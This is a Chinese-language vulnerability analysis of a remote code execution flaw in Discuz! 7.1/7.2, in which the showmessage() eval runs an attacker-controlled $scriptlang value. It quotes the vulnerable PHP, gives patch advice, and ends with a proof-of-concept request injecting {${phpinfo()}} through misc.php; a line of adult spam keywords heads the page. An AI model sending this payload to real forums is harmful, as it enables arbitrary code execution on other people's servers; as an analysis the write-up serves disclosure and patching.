中文字幕在线观看,亚洲а∨天堂久久精品9966,亚洲成a人片在线观看你懂的,亚洲av成人片无码网站,亚洲国产精品无码久久久五月天

Discuz! 7.1 遠(yuǎn)程代碼執(zhí)行漏洞

1970-01-01    來(lái)源:

容器云強(qiáng)勢(shì)上線!快速搭建集群,上萬(wàn)Linux鏡像隨意使用
截稿至此時(shí),黑客X檔案等一些使用discuz!最新版的論壇已被攻擊進(jìn)而無(wú)法訪問(wèn)。

首先說(shuō)一下,漏洞是t00ls核心群傳出去的,xhming先去讀的,然后我后來(lái)讀的,讀出來(lái)的都是代碼執(zhí)行,1月5日夜里11點(diǎn)多鐘,在核心群的黑客們的要求下,xhming給了個(gè)poc,我給了個(gè)exp,確實(shí)發(fā)現(xiàn)的是同一個(gè)問(wèn)題。截止夜里2點(diǎn)多種我下線,還只有t00ls核心群里幾個(gè)人知道我給出的exp,可我怎么也想不到,經(jīng)過(guò)半天時(shí)間,exp就滿天飛了,而且確實(shí)出自昨天我的那個(gè)版本。

不難想象,exp流傳的速度,A與B關(guān)系好,A發(fā)給B;B與C是好朋友,B發(fā)給C...總有人耐不住性子,泄露點(diǎn)風(fēng)聲,于是就人手一份。最受不了的是,竟然有些SB在群里拿來(lái)叫賣(mài);實(shí)在不想說(shuō)什么,要叫賣(mài)什么時(shí)候輪到你?人心不古,以后有的話還是自己藏著吧。

上午漏洞告訴了Saiy,DZ官方的補(bǔ)丁很快就出來(lái)了吧。

特別說(shuō)明:產(chǎn)生漏洞的$scriptlang數(shù)組在安裝插件后已經(jīng)初始化,因此有安裝插件的用戶不受影響。

漏洞介紹:

Discuz!新版本7.1與7.2版本中的showmessage函數(shù)中eval中執(zhí)行的參數(shù)未初始化,可以任意提交,從而可以執(zhí)行任意PHP命令。

漏洞分析:

下面來(lái)分析下這個(gè)遠(yuǎn)程代碼執(zhí)行漏洞,這個(gè)問(wèn)題真的很?chē)?yán)重,可以直接寫(xiě)shell的:

一、漏洞來(lái)自showmessage函數(shù):

function?showmessage($message,?$url_forward?=?'',?$extra?=?'',?$forwardtype?=?0)?{
????extract($GLOBALS,?EXTR_SKIP);//危險(xiǎn)的用法,未初始化的變量可以直接帶進(jìn)函數(shù),直接導(dǎo)致了問(wèn)題產(chǎn)生,from?www.oldjun.com
????global?$hookscriptmessage,?$extrahead,?$discuz_uid,?$discuz_action,?$debuginfo,?$seccode,?$seccodestatus,?$fid,?$tid,?$charset,?$show_message,?$inajax,?$_DCACHE,?$advlist;
????define('CACHE_FORBIDDEN',?TRUE);
????$hookscriptmessage?=?$show_message?=?$message;$messagehandle?=?0;
????$msgforward?=?unserialize($_DCACHE['settings']['msgforward']);
????$refreshtime?=?intval($msgforward['refreshtime']);
????$refreshtime?=?empty($forwardtype)???$refreshtime?:?($refreshtime???$refreshtime?:?3);
????$msgforward['refreshtime']?=?$refreshtime?*?1000;
????$url_forward?=?empty($url_forward)???''?:?(empty($_DCOOKIE['sid'])?&&?$transsidstatus???transsid($url_forward)?:?$url_forward);
????$seccodecheck?=?$seccodestatus?&?2;
????if($_DCACHE['settings']['funcsiteid']?&&?$_DCACHE['settings']['funckey']?&&?$funcstatinfo?&&?!IS_ROBOT)?{
????????$statlogfile?=?DISCUZ_ROOT.'./forumdata/funcstat.log';
????????if($fp?=?@fopen($statlogfile,?'a'))?{
????????????@flock($fp,?2);
????????????if(is_array($funcstatinfo))?{
????????????????$funcstatinfo?=?array_unique($funcstatinfo);
????????????????foreach($funcstatinfo?as?$funcinfo)?{
????????????????????fwrite($fp,?funcstat_query($funcinfo,?$message)."\n");
????????????????}
????????????}?else?{
????????????????fwrite($fp,?funcstat_query($funcstatinfo,?$message)."\n");
????????????}
????????????fclose($fp);
????????????$funcstatinfo?=?$GLOBALS['funcstatinfo']?=?'';
????????}
????}

????if(!defined('STAT_DISABLED')?&&?STAT_ID?>?0?&&?!IS_ROBOT)?{
????????write_statlog($message);
????}

????if($url_forward?&&?(!empty($quickforward)?||?empty($inajax)?&&?$msgforward['quick']?&&?$msgforward['messages']?&&?@in_array($message,?$msgforward['messages'])))?{
????????updatesession();
????????dheader("location:?".str_replace('&',?'&',?$url_forward));
????}
????if(!empty($infloat))?{
????????if($extra)?{
????????????$messagehandle?=?$extra;
????????}
????????$extra?=?'';
????}
????if(in_array($extra,?array('HALTED',?'NOPERM')))?{
????????$discuz_action?=?254;
????}?else?{
????????$discuz_action?=?255;
????}

????include?language('messages');

????$vars?=?explode(':',?$message);//只要含:就可以了
????if(count($vars)?==?2?&&?isset($scriptlang[$vars[0]][$vars[1]]))?{//兩個(gè)數(shù)字即可,用:分割
????????eval("\$show_message?=?\"".str_replace('"',?'\"',?$scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定義,from?www.oldjun.com
????}?elseif(isset($language[$message]))?{
????????$pre?=?$inajax???'ajax_'?:?'';
????????eval("\$show_message?=?\"".(isset($language[$pre.$message])???$language[$pre.$message]?:?$language[$message])."\";");
????????unset($pre);
????}

????......
}

二、DZ的全局機(jī)制導(dǎo)致了未初始化的參數(shù)可以任意提交:

foreach(array('_COOKIE',?'_POST',?'_GET')?as?$_request)?{
????foreach($$_request?as?$_key?=>?$_value)?{
????????$_key{0}?!=?'_'?&&?$$_key?=?daddslashes($_value);
????}
}

三、misc.php正好有個(gè)可以自定義message的點(diǎn),其實(shí)也是未初始化:

elseif($action?==?'imme_binding'?&&?$discuz_uid)?{

????if(isemail($id))?{
????????$msn?=?$db->result_first("SELECT?msn?FROM?{$tablepre}memberfields?WHERE?uid='$discuz_uid'");
????????$msn?=?explode("\t",?$msn);
????????$id?=?dhtmlspecialchars(substr($id,?0,?strpos($id,?'@')));
????????$msn?=?"$msn[0]\t$id";
????????$db->query("UPDATE?{$tablepre}memberfields?SET?msn='$msn'?WHERE?uid='$discuz_uid'");
????????showmessage('msn_binding_succeed',?'memcp.php');
????}?else?{
????????if($result?==?'Declined')?{
????????????dheader("Location:?memcp.php");
????????}?else?{
????????????showmessage($response['result']);//$response沒(méi)有初始化,可以自定義,from?www.oldjun.com

????????}
????}

???}

四、漏洞利用:

showmessage函數(shù)里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,參數(shù)是兩個(gè)自定義的數(shù)組。

五、漏洞修復(fù):

1.有補(bǔ)丁的打補(bǔ)。
2.沒(méi)有補(bǔ)丁可以暫時(shí)先注釋引起漏洞的語(yǔ)句,或者對(duì)兩個(gè)變量賦個(gè)值。

poc:

(應(yīng)Saiy的要求,不發(fā)exp了。┳(cè)一個(gè)用戶登陸,然后提交
misc.php?action=imme_binding&response[result]=1:2&scriptlang[1][2]={${phpinfo()}}

標(biāo)簽: 代碼 漏洞 問(wèn)題 用戶

版權(quán)申明:本站文章部分自網(wǎng)絡(luò),如有侵權(quán),請(qǐng)聯(lián)系:west999com@outlook.com
特別注意:本站所有轉(zhuǎn)載文章言論不代表本站觀點(diǎn)!
本站所提供的圖片等素材,版權(quán)歸原作者所有,如需使用,請(qǐng)與原作者聯(lián)系。

上一篇:Discuz!7.0登錄框登錄后不能正常跳轉(zhuǎn)

下一篇:DISCUZ!論壇標(biāo)簽SEO優(yōu)化